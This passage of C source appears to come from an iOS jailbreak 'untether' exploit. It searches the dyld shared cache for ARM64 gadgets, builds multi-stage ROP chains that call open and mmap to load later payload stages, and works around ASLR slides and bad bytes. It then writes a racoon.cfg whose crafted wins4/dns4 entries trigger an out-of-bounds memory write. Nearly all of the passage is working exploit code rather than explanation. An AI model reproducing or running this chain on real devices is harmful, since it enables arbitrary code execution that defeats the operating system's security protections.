0xa9417bfd, 0xa8c24ff4, 0xd65f03c0 }, 13 * 4, 656 | (uint8_t *)&(uint32_t []){ 0xa9be4ff4, 0xa9017bfd, 0x910043fd, 0xaa0003f3, 0xf9400000, 0xf9400668, 0xb9401261, 0xa9418e62, 0xf9401a64, 0xd63f0100, 0xf9001660, 0xa9417bfd, 0xa8c24ff4, 0xd65f03c0 }, 14 * 4 }, 657 | /* 658 | gadgets_6: 659 | f9400000 ldr x0, [x0] 660 | d65f03c0 ret 661 | */ 662 | { 0, (uint8_t *)&(uint32_t []){ 0xf9400000, 0xd65f03c0 }, 2 * 4, NULL, 0 }, 663 | /* 664 | gadgets_7: 665 | f9000002 str x2, [x0] 666 | d65f03c0 ret 667 | */ 668 | { 0, (uint8_t *)&(uint32_t []){ 0xf9000002, 0xd65f03c0 }, 2 * 4, NULL, 0 }, 669 | /* 670 | gadgets_8: 671 | a9402005 ldp x5, x8, [x0] 672 | a9410c01 ldp x1, x3, [x0, #0x10] 673 | a9421002 ldp x2, x4, [x0, #0x20] 674 | aa0803e0 mov x0, x8 675 | d61f00a0 br x5 676 | */ 677 | { 0, (uint8_t *)&(uint32_t []){ 0xa9402005, 0xa9410c01, 0xa9421002, 0xaa0803e0, 0xd61f00a0 }, 5 * 4, NULL, 0 }, 678 | /* 679 | pivot: 680 | 9100003f mov sp, x1 681 | d61f0000 br x0 682 | */ 683 | { 0, (uint8_t *)&(uint32_t []){ 0x9100003f, 0xd61f0000 }, 2 * 4, NULL, 0 }, 684 | // even more 685 | /* 686 | a9420408 ldp x8, x1, [x0, #0x20] 687 | a9430c02 ldp x2, x3, [x0, #0x30] 688 | a9441404 ldp x4, x5, [x0, #0x40] 689 | f9402806 ldr x6, [x0, #0x50] 690 | f9400907 ldr x7, [x8, #0x10] 691 | aa0803e0 mov x0, x8 692 | d61f00e0 br x7 693 | */ 694 | { 0, (uint8_t *)&(uint32_t []){ 0xa9420408, 0xa9430c02, 0xa9441404, 0xf9402806, 0xf9400907, 0xaa0803e0, 0xd61f00e0 }, 7 * 4, NULL, 0 }, 695 | /* 696 | a940a408 ldp x8, x9, [x0, #8] 697 | aa0803e0 mov x0, x8 698 | d61f0120 br x9 699 | */ 700 | { 0, (uint8_t *)&(uint32_t []){ 0xa940a408, 0xaa0803e0, 0xd61f0120 }, 3 * 4, NULL, 0 }, 701 | /* 702 | d10083ff sub sp, sp, #0x20 703 | a9017bfd stp x29, x30, [sp, #0x10] 704 | 910043fd add x29, sp, #0x10 705 | a9000fe2 stp x2, x3, [sp] 706 | f9400c00 ldr x0, [x0, #0x18] 707 | b4000100 cbz x0, #0x1957d65ec 708 | f9400008 ldr x8, [x0] 709 | f9401908 ldr x8, [x8, #0x30] 710 | 910003e2 mov x2, sp 711 | d63f0100 blr x8 712 | a9417bfd ldp x29, x30, [sp, #0x10] 713 | 910083ff add sp, sp, #0x20 714 | d65f03c0 ret 715 | */ 716 | { 0, (uint8_t *)&(uint32_t []){ 0xd10083ff, 0xa9017bfd, 0x910043fd, 0xa9000fe2, 0xf9400c00, 0xb4000100, 0xf9400008, 0xf9401908, 0x910003e2, 0xd63f0100, 0xa9417bfd, 0x910083ff, 0xd65f03c0 }, 13 * 4, NULL, 0 }, 717 | /* 718 | f9406508 ldr x8, [x8, #0xc8] // iOS12 has 0xd0: f9406908 719 | d2800007 movz x7, #0 720 | d61f0100 br x8 721 | */ 722 | { 0, (uint8_t *)&(uint32_t []){ 0xf9406508, 0xd2800007, 0xd61f0100 }, 3 * 4, 723 | (uint8_t *)&(uint32_t []){ 0xf9406908, 0xd2800007, 0xd61f0100 }, 3 * 4 }, 724 | }; 725 | 726 | static AC_STRUCT * 727 | ac_init_more(void) 728 | { 729 | int rv; 730 | size_t i, na = countof(gadgets_more); 731 | AC_STRUCT *node = ac_alloc(); 732 | if (!node) { 733 | return NULL; 734 | } 735 | for (i = 0; i < na; i++) { 736 | rv = ac_add_string(node, (char *)gadgets_more[i].bytes, gadgets_more[i].length, i + 1); 737 | if (!rv) { 738 | ac_free(node); 739 | return NULL; 740 | } 741 | } 742 | rv = ac_prep(node); 743 | if (!rv) { 744 | fprintf(stderr, "!ac_prep\n"); 745 | ac_free(node); 746 | return NULL; 747 | } 748 | return node; 749 | } 750 | 751 | static int 752 | search_gadgets_more(const uint8_t *p, size_t sz) 753 | { 754 | const uint8_t *q = p; 755 | size_t i, j = 0, n = countof(gadgets_more); 756 | if (n > 0) { 757 | AC_STRUCT *ac = ac_init_more(); 758 | if (ac) { 759 | ac_search_init(ac, (char *)p, sz); 760 | while (n > 0) { 761 | int id = 0; 762 | int length = 0; 763 | char *found = ac_search(ac, &length, &id); 764 | if (!found) { 765 | break; 766 | } 767 | if (!gadgets_more[id - 1].addr) { 768 | printf("ac found gadget[%d] 0x%zx, size=%d\n", id - 1, found - (char *)p, length); 769 | gadgets_more[id - 1].addr = found - (char *)p; 770 | n--; 771 | } 772 | q = (uint8_t *)found; 773 | } 774 | ac_free(ac); 775 | } 776 | } 777 | for (i = 0; i < countof(gadgets_more); i++) { 778 | if (!gadgets_more[i].addr) { 779 | uint8_t *found = boyermoore_horspool_memmem(p, sz, gadgets_more[i].bytes2, gadgets_more[i].length2); 780 | if (!found) { 781 | fprintf(stderr, "gadget %zu missing\n", i); 782 | j++; 783 | } else { 784 | gadgets_more[i].addr = found - p; 785 | printf("bm found gadget[%zu] 0x%llx, size=%zu\n", i, gadgets_more[i].addr, gadgets_more[i].length2); 786 | } 787 | } 788 | } 789 | return j; 790 | } 791 | 792 | #define r(x) do { /*printf("*%p = %s\n", (void *)rstrip, #x);*/ *rstrip++ = (unsigned long)(x); } while (0) 793 | 794 | #define retx8() \ 795 | do { \ 796 | r(0); \ 797 | r(gadget_retx8); \ 798 | r(0); \ 799 | r(gadget_nop); \ 800 | } while (0) 801 | 802 | #define map2(addr, size, cache, addr2, size2, stage2, slide) \ 803 | do { \ 804 | retx8(); \ 805 | r(0); \ 806 | r(gadget_loadx6); \ 807 | r(symbol_open + slide); \ 808 | r(gadget_adrx0_230); \ 809 | strcpy((char *)rstrip + 0x230, cache); \ 810 | r(0); \ 811 | r(gadget_loadx1); \ 812 | r(0); \ 813 | r(gadget_call6); \ 814 | retx8(); \ 815 | r(0); \ 816 | r(gadget_loadx6); \ 817 | r(symbol_mmap + slide); \ 818 | r(gadget_mov_x4_x0); \ 819 | r(0); \ 820 | r(gadget_loadx0); \ 821 | r(addr); \ 822 | r(gadget_loadx1); \ 823 | r(size); \ 824 | r(gadget_loadx2); \ 825 | r(PROT_READ | PROT_EXEC); \ 826 | r(gadget_loadx3); \ 827 | r(MAP_FILE | MAP_SHARED | MAP_FIXED); \ 828 | r(gadget_zerox5); \ 829 | r(0); \ 830 | r(gadget_call6); \ 831 | \ 832 | retx8(); \ 833 | r(0); \ 834 | r(gadget_loadx6); \ 835 | r(symbol_open + slide); \ 836 | r(gadget_adrx0_170); \ 837 | strcpy((char *)rstrip + x170, stage2); \ 838 | r(0); \ 839 | r(gadget_loadx1); \ 840 | r(0); \ 841 | r(gadget_call6); \ 842 | retx8(); \ 843 | r(0); \ 844 | r(gadget_loadx6); \ 845 | r(symbol_mmap + slide); \ 846 | r(gadget_mov_x4_x0); \ 847 | r(0); \ 848 | r(gadget_loadx0); \ 849 | r(addr2); \ 850 | r(gadget_loadx1); \ 851 | r(size2); \ 852 | r(gadget_loadx2); \ 853 | r(PROT_READ | PROT_WRITE); \ 854 | r(gadget_loadx3); \ 855 | r(MAP_FILE | MAP_PRIVATE | MAP_FIXED); \ 856 | r(gadget_zerox5); \ 857 | r(0); \ 858 | r(gadget_call6); \ 859 | retx8(); \ 860 | r(0); \ 861 | r(gadget_mov_x1_x0); \ 862 | r(0); \ 863 | r(gadget_loadx0); \ 864 | if (alt_slide) { \ 865 | r(-slide); \ 866 | r(gadget_neg_x0); \ 867 | } else { \ 868 | r(slide); \ 869 | r(gadget_nop); \ 870 | } \ 871 | r(0); \ 872 | r(gadget_str_x0_x1); \ 873 | r(addr2); \ 874 | r(gadget_set_sp); \ 875 | } while (0) 876 | 877 | static int 878 | is_bad_addr(uint64_t gadget) 879 | { 880 | while (gadget) { 881 | if ((gadget & 0xff) == '\"') { 882 | return 1; 883 | } 884 | gadget >>= 8; 885 | } 886 | return 0; 887 | } 888 | 889 | static uint64_t 890 | try_ok_addr(const uint8_t *p, uint64_t slide, const struct dyld_cache_mapping_info *map, const struct gadget_t *gadget, int *alt, int *bad) 891 | { 892 | uint64_t addr = gadget->addr; 893 | *alt = 0; 894 | while (is_bad_addr(addr + map->address + slide)) { 895 | const uint8_t *q; 896 | q = boyermoore_horspool_memmem(p + addr + 4, map->size - addr - 4, gadget->bytes, gadget->length); 897 | if (!q) { 898 | #if 666 899 | if (gadget->bytes2 && gadget->length2) { 900 | uint64_t addr2 = 0; 901 | do { 902 | q = boyermoore_horspool_memmem(p + addr2 + 4, map->size - addr2 - 4, gadget->bytes2, gadget->length2); 903 | if (!q) { 904 | addr2 = 0; 905 | break; 906 | } 907 | addr2 = q - p; 908 | } while (is_bad_addr(addr2 + map->address + slide)); 909 | if (addr2) { 910 | *alt = 1; 911 | addr = addr2; 912 | break; 913 | } 914 | } 915 | #endif 916 | (*bad)++; 917 | break; 918 | } 919 | addr = q - p; 920 | } 921 | return addr + map->address + slide; 922 | } 923 | 924 | static uint64_t 925 | get_ok_addr(const uint8_t *p, uint64_t slide, const struct dyld_cache_mapping_info *map, const struct gadget_t *gadgets, unsigned i, int *bad) 926 | { 927 | int alt, worse = 0; 928 | uint64_t addr = try_ok_addr(p, slide, map, &gadgets[i], &alt, &worse); 929 | if (worse) { 930 | fprintf(stderr, "WARNING: (slide = 0x%llx) bad address for gadget %d\n", slide, i); 931 | (*bad) += worse; 932 | } 933 | return addr; 934 | } 935 | 936 | static unsigned char * 937 | build_stage1(const uint8_t *p, uint64_t slide, const struct dyld_cache_mapping_info *map, uint64_t sym_open[], uint64_t sym_mmap[], size_t *psz, int *bad) 938 | { 939 | uint8_t *ptr; 940 | unsigned char *rstart; 941 | unsigned long *rstrip; 942 | const size_t rsz = 4096; 943 | size_t len = strlen(STAGE2_NAME) + 1; 944 | const size_t x170 = 0x170; 945 | 946 | int alt, worse = 0; 947 | uint64_t gadget_pivot = try_ok_addr(p, slide, map, &gadgets[1], &alt, &worse); 948 | uint64_t gadget_first = get_ok_addr(p, slide, map, gadgets, 2, bad); 949 | uint64_t gadget_nop = get_ok_addr(p, slide, map, gadgets, 3, bad); 950 | uint64_t gadget_retx8 = get_ok_addr(p, slide, map, gadgets, 4, bad); 951 | uint64_t gadget_loadx0 = get_ok_addr(p, slide, map, gadgets, 5, bad); 952 | uint64_t gadget_loadx1 = get_ok_addr(p, slide, map, gadgets, 6, bad); 953 | uint64_t gadget_loadx2 = get_ok_addr(p, slide, map, gadgets, 7, bad); 954 | uint64_t gadget_loadx3 = get_ok_addr(p, slide, map, gadgets, 8, bad); 955 | uint64_t gadget_zerox5 = get_ok_addr(p, slide, map, gadgets, 9, bad); 956 | uint64_t gadget_loadx6 = get_ok_addr(p, slide, map, gadgets, 10, bad); 957 | uint64_t gadget_adrx0_170 = get_ok_addr(p, slide, map, gadgets, 11, bad); 958 | uint64_t gadget_adrx0_230 = get_ok_addr(p, slide, map, gadgets, 12, bad); 959 | uint64_t gadget_mov_x1_x0 = get_ok_addr(p, slide, map, gadgets, 13, bad); 960 | uint64_t gadget_mov_x4_x0 = get_ok_addr(p, slide, map, gadgets, 14, bad); 961 | uint64_t gadget_call6 = get_ok_addr(p, slide, map, gadgets, 15, bad); 962 | uint64_t gadget_str_x0_x1 = get_ok_addr(p, slide, map, gadgets, 16, bad); 963 | uint64_t gadget_set_sp = get_ok_addr(p, slide, map, gadgets, 17, bad); 964 | 965 | uint64_t gadget_neg_x0; 966 | int alt_slide; 967 | 968 | uint64_t symbol_open; 969 | uint64_t symbol_mmap; 970 | unsigned i; 971 | 972 | for (i = 0; sym_open[i] && is_bad_addr(sym_open[i] + slide); i++) { 973 | continue; 974 | } 975 | if (sym_open[i]) { 976 | symbol_open = sym_open[i]; 977 | } else { 978 | (*bad)++; 979 | fprintf(stderr, "WARNING: (slide = 0x%llx) bad address for _open\n", slide); 980 | symbol_open = sym_open[0]; 981 | } 982 | for (i = 0; sym_mmap[i] && is_bad_addr(sym_mmap[i] + slide); i++) { 983 | continue; 984 | } 985 | if (sym_mmap[i]) { 986 | symbol_mmap = sym_mmap[i]; 987 | } else { 988 | (*bad)++; 989 | fprintf(stderr, "WARNING: (slide = 0x%llx) bad address for _mmap\n", slide); 990 | symbol_mmap = sym_mmap[0]; 991 | } 992 | 993 | if (worse) { 994 | fprintf(stderr, "WARNING: (slide = 0x%llx) bad address for gadget %d\n", slide, 1); 995 | (*bad)++; 996 | } 997 | #ifdef FORCE_ALT_PIVOT 998 | alt = 1; 999 | #endif 1000 | if (alt) { 1001 | gadget_first = gadget_nop; 1002 | } 1003 | 1004 | alt_slide = is_bad_addr(slide); 1005 | if (alt_slide) { 1006 | worse = 0; 1007 | gadget_neg_x0 = try_ok_addr(p, slide, map, &gadgets[18], &alt, &worse); 1008 | if (worse) { 1009 | (*bad)++; 1010 | alt_slide = 0; 1011 | fprintf(stderr, "WARNING: (slide = 0x%llx) bad slide value\n", slide); 1012 | } 1013 | } 1014 | assert(!alt_slide || !is_bad_addr(-slide)); 1015 | 1016 | rstrip = calloc(1, rsz); 1017 | assert(rstrip); 1018 | rstart = (unsigned char *)rstrip; 1019 | 1020 | r(gadget_pivot); 1021 | r(gadget_first); 1022 | map2(FAKE_SHARED_CACHE_ADDR, map->size, SHARED_CACHE_NAME, STAGE2_STATIC_ADDRESS, STAGE2_MAX_SIZE, STAGE2_NAME, slide); 1023 | 1024 | ptr = boyermoore_horspool_memmem(rstart, rsz, (uint8_t *)STAGE2_NAME, len); 1025 | assert(ptr); 1026 | 1027 | *psz = ptr - rstart + len; 1028 | 1029 | if (0) { 1030 | FILE *eff; 1031 | char tmp[256]; 1032 | snprintf(tmp, sizeof(tmp), "stage1-0x%llx", slide); 1033 | eff = fopen(tmp, "wb"); 1034 | fwrite(rstart, 1, *psz, eff); 1035 | fclose(eff); 1036 | } 1037 | 1038 | return rstart; 1039 | } 1040 | 1041 | #undef r 1042 | #define r(x) do { \ 1043 | /*printf("*%p = %s\n", (void *)rstrip, #x);*/ \ 1044 | if (!strncmp(#x, "symbol_", 7) || !strncmp(#x, "gadget_", 7)) { \ 1045 | /*printf("\trel @0x%zx: 0x%zx\n", relptr - relocs, (unsigned char *)rstrip - rstart);*/ \ 1046 | *relptr++ = (unsigned char *)rstrip - rstart; \ 1047 | } \ 1048 | *rstrip++ = (unsigned long)(x); \ 1049 | } while (0) 1050 | 1051 | #define map4(addr2, size2, stage4) \ 1052 | do { \ 1053 | retx8(); \ 1054 | r(0); \ 1055 | r(gadget_loadx6); \ 1056 | r(symbol_open); \ 1057 | r(gadget_adrx0_100); \ 1058 | strcpy((char *)rstrip + 0x100, stage4); \ 1059 | r(0); \ 1060 | r(gadget_loadx1); \ 1061 | r(0); \ 1062 | r(gadget_call6); \ 1063 | retx8(); \ 1064 | r(0); \ 1065 | r(gadget_loadx6); \ 1066 | r(symbol_mmap); \ 1067 | r(gadget_mov_x4_x0); \ 1068 | r(0); \ 1069 | r(gadget_loadx0); \ 1070 | r(addr2); \ 1071 | r(gadget_loadx1); \ 1072 | r(size2); \ 1073 | r(gadget_loadx2); \ 1074 | r(PROT_READ | PROT_WRITE); \ 1075 | r(gadget_loadx3); \ 1076 | r(MAP_FILE | MAP_PRIVATE | MAP_FIXED); \ 1077 | r(gadget_zerox5); \ 1078 | r(0); \ 1079 | r(gadget_call6); \ 1080 | retx8(); \ 1081 | r(0); \ 1082 | r(gadget_adrx0_100); \ 1083 | r(addr2); \ 1084 | r(gadget_set_sp); \ 1085 | } while (0) 1086 | 1087 | static unsigned char * 1088 | build_stage3(uint64_t address, uint64_t symbol_open, uint64_t symbol_mmap, size_t *psz, size_t *usz) 1089 | { 1090 | uint8_t *ptr; 1091 | unsigned char *rstart; 1092 | unsigned long *rstrip; 1093 | unsigned long *relocs; 1094 | unsigned long *relptr; 1095 | const size_t rsz = 4096; 1096 | size_t i, len = strlen(STAGE4_NAME) + 1; 1097 | 1098 | uint64_t gadget_nop = address + gadgets[3].addr; 1099 | uint64_t gadget_retx8 = address + gadgets[4].addr; 1100 | uint64_t gadget_loadx0 = address + gadgets[5].addr; 1101 | uint64_t gadget_loadx1 = address + gadgets[6].addr; 1102 | uint64_t gadget_loadx2 = address + gadgets[7].addr; 1103 | uint64_t gadget_loadx3 = address + gadgets[8].addr; 1104 | uint64_t gadget_zerox5 = address + gadgets[9].addr; 1105 | uint64_t gadget_loadx6 = address + gadgets[10].addr; 1106 | uint64_t gadget_mov_x4_x0 = address + gadgets[14].addr; 1107 | uint64_t gadget_call6 = address + gadgets[15].addr; 1108 | uint64_t gadget_set_sp = address + gadgets[17].addr; 1109 | uint64_t gadget_adrx0_100 = address + gadgets[22].addr; 1110 | 1111 | rstrip = calloc(1, rsz); 1112 | assert(rstrip); 1113 | rstart = (unsigned char *)rstrip; 1114 | 1115 | relocs = calloc(1, rsz); 1116 | assert(relocs); 1117 | relptr = relocs; 1118 | 1119 | map4(STAGE4_STATIC_ADDRESS, STAGE4_MAX_SIZE, STAGE4_NAME); 1120 | 1121 | ptr = boyermoore_horspool_memmem(rstart, rsz, (uint8_t *)STAGE4_NAME, len); 1122 | assert(ptr); 1123 | 1124 | *usz = (ptr - rstart + len + 7) & ~7; 1125 | rstrip = (unsigned long *)(rstart + *usz); 1126 | 1127 | *rstrip++ = 0; 1128 | for (i = 0; relocs + i < relptr; i++) { 1129 | *rstrip++ = relocs[i]; 1130 | } 1131 | 1132 | free(relocs); 1133 | 1134 | *psz = (unsigned char *)rstrip - rstart; 1135 | return rstart; 1136 | } 1137 | #undef r 1138 | #undef retx8 1139 | #undef map2 1140 | 1141 | #define _i2(x) (unsigned)((x) & 0xFFFFFFFF), (unsigned)(((x) >> 32) & 0xFFFFFFFF) 1142 | #define _c4(x) (x) & 0xFF, ((x) >> 8) & 0xFF, ((x) >> 16) & 0xFF, ((x) >> 24) & 0xFF 1143 | #define _c8(x) (unsigned)((x) & 0xFF), (unsigned)(((x) >> 8) & 0xFF), (unsigned)(((x) >> 16) & 0xFF), (unsigned)(((x) >> 24) & 0xFF), (unsigned)(((x) >> 32) & 0xFF), (unsigned)(((x) >> 40) & 0xFF), (unsigned)(((x) >> 48) & 0xFF), (unsigned)(((x) >> 56) & 0xFF) 1144 | 1145 | static int 1146 | really(const uint8_t *p, off_t sz, uint64_t masterSlide) 1147 | { 1148 | int rv; 1149 | FILE *f; 1150 | unsigned i; 1151 | size_t rsz, usz; 1152 | unsigned char *rstrip; 1153 | const struct dyld_cache_header *hdr = (struct dyld_cache_header *)p; 1154 | const struct dyld_cache_mapping_info *map = (struct dyld_cache_mapping_info *)(p + hdr->mappingOffset); 1155 | const struct dyld_cache_image_info *img = (struct dyld_cache_image_info *)(p + hdr->imagesOffset); 1156 | uint64_t memmove_lazy = 0; 1157 | uint64_t memmove_func = 0; 1158 | uint64_t sym_open[256]; 1159 | uint64_t sym_mmap[256]; 1160 | unsigned num_open = 0; 1161 | unsigned num_mmap = 0; 1162 | uint64_t map1_end = (map[1].address + map[1].size + 0x3FFF) & ~0x3FFF; 1163 | int64_t slide, loSlide, hiSlide; 1164 | uint64_t maxSlide; 1165 | int dirty = 0; 1166 | 1167 | assert(hdr->mappingCount == 3 && map[0].address == SHARED_REGION_BASE_ARM64 && map[0].size < (uint64_t)sz); 1168 | 1169 | memset(sym_open, 0, sizeof(sym_open)); 1170 | memset(sym_mmap, 0, sizeof(sym_mmap)); 1171 | 1172 | for (i = 0; i < hdr->imagesCount; i++) { 1173 | uint64_t address = img[i].address; 1174 | const char *imgName = (const char *)p + img[i].pathFileOffset; 1175 | address = address - map[0].address + map[0].fileOffset; 1176 | if (!strcmp(imgName, "/usr/lib/system/libsystem_c.dylib")) { 1177 | addr_t call, stub; 1178 | uint64_t symbol = macho_sym(p + address, sz, p, "_strlcpy"); 1179 | assert(symbol); 1180 | call = find_call64(p, symbol - map[0].address, 64); 1181 | assert(call); 1182 | call = find_call64(p, call + 4, 64); 1183 | assert(call); 1184 | stub = follow_call64(p, call); 1185 | assert(stub); 1186 | memmove_lazy = calc64(p, stub, stub + 12, 16); 1187 | } 1188 | if (!strcmp(imgName, "/usr/lib/system/libsystem_kernel.dylib")) { 1189 | sym_open[0] = macho_sym(p + address, sz, p, "_open"); 1190 | if (sym_open[0]) { 1191 | num_open = 1; 1192 | } 1193 | sym_mmap[0] = macho_sym(p + address, sz, p, "_mmap"); 1194 | if (sym_mmap[0]) { 1195 | num_mmap = 1; 1196 | } 1197 | } 1198 | if (!strcmp(imgName, "/usr/lib/system/libsystem_platform.dylib")) { 1199 | memmove_func = macho_sym(p + address, sz, p, "__platform_memmove"); 1200 | } 1201 | } 1202 | assert(memmove_lazy && memmove_func && num_open && num_mmap); 1203 | for (i = 0; i < hdr->imagesCount; i++) { 1204 | uint64_t address = img[i].address; 1205 | address = address - map[0].address + map[0].fileOffset; 1206 | if (num_open < countof(sym_open) - 1) { 1207 | uint64_t stub = macho_stub(p + address, sz, p, map, sym_open[0]); 1208 | if (stub) { 1209 | sym_open[num_open++] = stub; 1210 | } 1211 | } 1212 | if (num_mmap < countof(sym_mmap) - 1) { 1213 | uint64_t stub = macho_stub(p + address, sz, p, map, sym_mmap[0]); 1214 | if (stub) { 1215 | sym_mmap[num_mmap++] = stub; 1216 | } 1217 | } 1218 | } 1219 | 1220 | printf("__platform_memmove = 0x%llx\n", memmove_func); 1221 | printf("_open: 0x%llx (total %u)\n", sym_open[0], num_open); 1222 | printf("_mmap: 0x%llx (total %u)\n", sym_mmap[0], num_mmap); 1223 | 1224 | memmove_lazy += map[0].address; 1225 | printf("_memmove_lazy: 0x%llx (rw + 0x%llx)\n", memmove_lazy, memmove_lazy - map[1].address); 1226 | 1227 | rv = search_gadgets(p, map[0].size); 1228 | assert(rv == 0); 1229 | rv = search_gadgets_more(p, map[0].size); 1230 | assert(rv == 0); 1231 | 1232 | /* 1233 | preflightCacheFile: 1234 | if ( cache->header.mappingOffset >= 0xf8 ) { 1235 | info->sharedRegionStart = cache->header.sharedRegionStart; 1236 | info->sharedRegionSize = cache->header.sharedRegionSize; 1237 | info->maxSlide = cache->header.maxSlide; 1238 | } 1239 | else { 1240 | info->sharedRegionStart = SHARED_REGION_BASE; 1241 | info->sharedRegionSize = SHARED_REGION_SIZE; 1242 | info->maxSlide = SHARED_REGION_SIZE - (fileMappings[2].address + fileMappings[2].size - fileMappings[0].address); 1243 | } 1244 | 1245 | pickCacheASLR: 1246 | long slide = ((arc4random() % info.maxSlide) & (-16384)); 1247 | */ 1248 | 1249 | maxSlide = SHARED_REGION_SIZE_ARM64 - (map[2].address + map[2].size - map[0].address); 1250 | if (hdr->mappingOffset >= 0xf8) { 1251 | assert(maxSlide == *(uint64_t *)(p + 0xf0)); 1252 | } 1253 | printf("maxSlide: 0x%llx(%llu steps), totalSize: 0x%llx\n", maxSlide, maxSlide / 16384, map[2].address + map[2].size - map[0].address); 1254 | 1255 | for (i = 0; i < hdr->mappingCount; i++) { 1256 | printf("map%d(%d/%d): 0x%llx - 0x%llx (0x%llx)\n", i, map[i].maxProt, map[i].initProt, map[i].address, map[i].address + map[i].size, map[i].size); 1257 | } 1258 | 1259 | loSlide = ((0 % maxSlide) & (-16384)); 1260 | printf(" zone: 0x%llx - 0x%llx, target=0x%llx, slide=0x%llx\n", map[1].address + loSlide, map1_end + loSlide, memmove_lazy + loSlide, loSlide); 1261 | 1262 | hiSlide = (((maxSlide - 1) % maxSlide) & (-16384)); 1263 | printf(" zone: 0x%llx - 0x%llx, target=0x%llx, slide=0x%llx\n", map[1].address + hiSlide, map1_end + hiSlide, memmove_lazy + hiSlide, hiSlide); 1264 | 1265 | if (memmove_lazy + hiSlide >= map1_end + loSlide) { 1266 | maxSlide = (map1_end + loSlide - memmove_lazy) & ~0x3FFF; 1267 | fprintf(stderr, "WARNING: data section is not big enough (max safe slide = 0x%llx)\n", maxSlide); 1268 | // XXX I am not exactly sure about this... 1269 | loSlide += (hiSlide - maxSlide) / 2 & ~0x3FFF; 1270 | hiSlide = loSlide + maxSlide; 1271 | } 1272 | printf("loSlide: 0x%llx\n", loSlide); 1273 | printf("hiSlide: 0x%llx\n", hiSlide); 1274 | 1275 | f = fopen("stage3.bin", "wb"); 1276 | assert(f); 1277 | rstrip = build_stage3(map[0].address, sym_open[0], sym_mmap[0], &rsz, &usz); 1278 | fwrite(rstrip, 1, rsz, f); 1279 | free(rstrip); 1280 | fclose(f); 1281 | 1282 | f = fopen("config2.h", "wt"); 1283 | assert(f); 1284 | fprintf(f, "// automatically generated by untether. do not edit\n"); 1285 | fprintf(f, "#define FAKE_SHARED_CACHE_SIZE 0x%llx\n", map[0].size); 1286 | fprintf(f, "#define STAGE3_USEFUL_SIZE 0x%zx\n", usz); 1287 | fprintf(f, "extern gadget_pivot_from_10 = 0x%llx;\n", map[0].address + gadgets[19].addr); 1288 | fprintf(f, "extern gadget_jmp_4args = 0x%llx;\n", map[0].address + gadgets[20].addr); 1289 | fprintf(f, "extern gadget_lea_x0_jmp_x8 = 0x%llx;\n", map[0].address + gadgets[21].addr); 1290 | fprintf(f, "extern _platform_memmove_plus4 = 0x%llx;\n", memmove_func + 4); 1291 | fprintf(f, "extern memmove_lazy = 0x%llx; // libsystem_c.dylib memmove lazy pointer\n", memmove_lazy); 1292 | fprintf(f, "// stage4+\n"); 1293 | fprintf(f, "extern dyld_shared_cache_arm64 = 0x%llx;\n", map[0].address); 1294 | for (i = 0; i < countof(gadgets_more); i++) { 1295 | fprintf(f, "extern gadgets_%X = 0x%llx;\n", i, map[0].address + gadgets_more[i].addr); 1296 | } 1297 | fprintf(f, "#define gadgets_pivot gadgets_9\n"); 1298 | fprintf(f, "#define gadgets_load_6 gadgets_A\n"); 1299 | fprintf(f, "#define gadgets_set_x8 gadgets_B\n"); 1300 | fprintf(f, "#define gadgets_call2v gadgets_C\n"); 1301 | fprintf(f, "#define gadgets_set_x7 gadgets_D\n"); 1302 | fclose(f); 1303 | f = fopen("config2.asm", "wt"); 1304 | assert(f); 1305 | fprintf(f, ";// automatically generated by untether. do not edit\n"); 1306 | fprintf(f, "%%define STAGE2_STATIC_ADDRESS 0x%lx\n", STAGE2_STATIC_ADDRESS); 1307 | fprintf(f, "%%define FAKE_SHARED_CACHE_ADDR 0x%lx\n", FAKE_SHARED_CACHE_ADDR); 1308 | fprintf(f, "%%define DYLD_SHARED_CACHE_ADDR 0x%llx\n", map[0].address); 1309 | fprintf(f, "%%define STAGE3_FAKE_OBJECT_SZ 0x%x\n", STAGE3_FAKE_OBJECT_SZ); 1310 | fprintf(f, "%%define STAGE4_STATIC_ADDRESS 0x%lx\n", STAGE4_STATIC_ADDRESS); 1311 | fclose(f); 1312 | 1313 | f = fopen("racoon.cfg", "wb"); 1314 | assert(f); 1315 | 1316 | fprintf(f, "mode_cfg {\n"); 1317 | 1318 | if (masterSlide + 1) { 1319 | loSlide = masterSlide; 1320 | hiSlide = masterSlide + 0x4000; 1321 | } 1322 | for (slide = hiSlide; slide >= loSlide; slide -= 0x4000) { 1323 | int bad = 0; 1324 | uint64_t gadget_jop = get_ok_addr(p, slide, map, gadgets, 0, &bad); 1325 | rstrip = build_stage1(p, slide, map, sym_open, sym_mmap, &rsz, &bad); 1326 | #ifdef BREAKPOINT_0 1327 | gadget_jop = 0x4141414141414141; 1328 | #endif 1329 | #ifdef BREAKPOINT_1 1330 | *(uint64_t *)(rstrip + 0) = 0x4343434343434343; 1331 | *(uint64_t *)(rstrip + 8) = 0x4545454545454545; 1332 | #endif 1333 | 1334 | #ifdef FORCE_BAD_CHAIN 1335 | bad++; 1336 | #endif 1337 | if (bad) { 1338 | uint64_t dst; 1339 | unsigned r_ints = (rsz + 3) / 4; 1340 | unsigned *rp = (unsigned *)rstrip; 1341 | uint64_t gadget_jop2 = get_ok_addr(p, slide, map, gadgets, countof(gadgets) - 1, &bad); 1342 | uint64_t stage1_addr = map1_end + loSlide - ((rsz + 15) & ~15); // XXX this should be computed once 1343 | while (is_bad_addr(stage1_addr)) { 1344 | stage1_addr -= 0x10; 1345 | } 1346 | if (dirty) { 1347 | unsigned char *q = boyermoore_horspool_memmem(rstrip, rsz, (unsigned char *)SHARED_CACHE_NAME, sizeof(SHARED_CACHE_NAME) - 1); 1348 | assert(q); 1349 | r_ints = ((q - rstrip) + 3) / 4; // XXX do not do pathnames again 1350 | } 1351 | fprintf(stderr, "WARNING: (slide = 0x%llx) bad chain, writing to 0x%llx\n", slide, stage1_addr); 1352 | for (i = 0, dst = stage1_addr; i < r_ints; dst += 6 * 4) { 1353 | fprintf(f, 1354 | " wins4 5.6.7.8;\n" 1355 | " wins4 5.6.7.8;\n" 1356 | " wins4 5.6.7.8;\n" 1357 | " wins4 5.6.7.8;\n" 1358 | " wins4 255.255.255.255;\n" 1359 | " wins4 %u.%u.%u.%u;\n" 1360 | " dns4 %u.%u.%u.%u;\n" 1361 | " dns4 %u.%u.%u.%u;\n" 1362 | "}\n" 1363 | "timer {\n", 1364 | _c4(OOB_WRITE), _c8(dst - WRITE_BIAS)); 1365 | if (i < r_ints) fprintf(f, " counter %u;\n", rp[i++]); 1366 | if (i < r_ints) fprintf(f, " interval %u sec;\n", rp[i++]); 1367 | if (i < r_ints) fprintf(f, " persend %u;\n", rp[i++]); 1368 | if (i < r_ints) fprintf(f, " phase1 %u sec;\n", rp[i++]); 1369 | 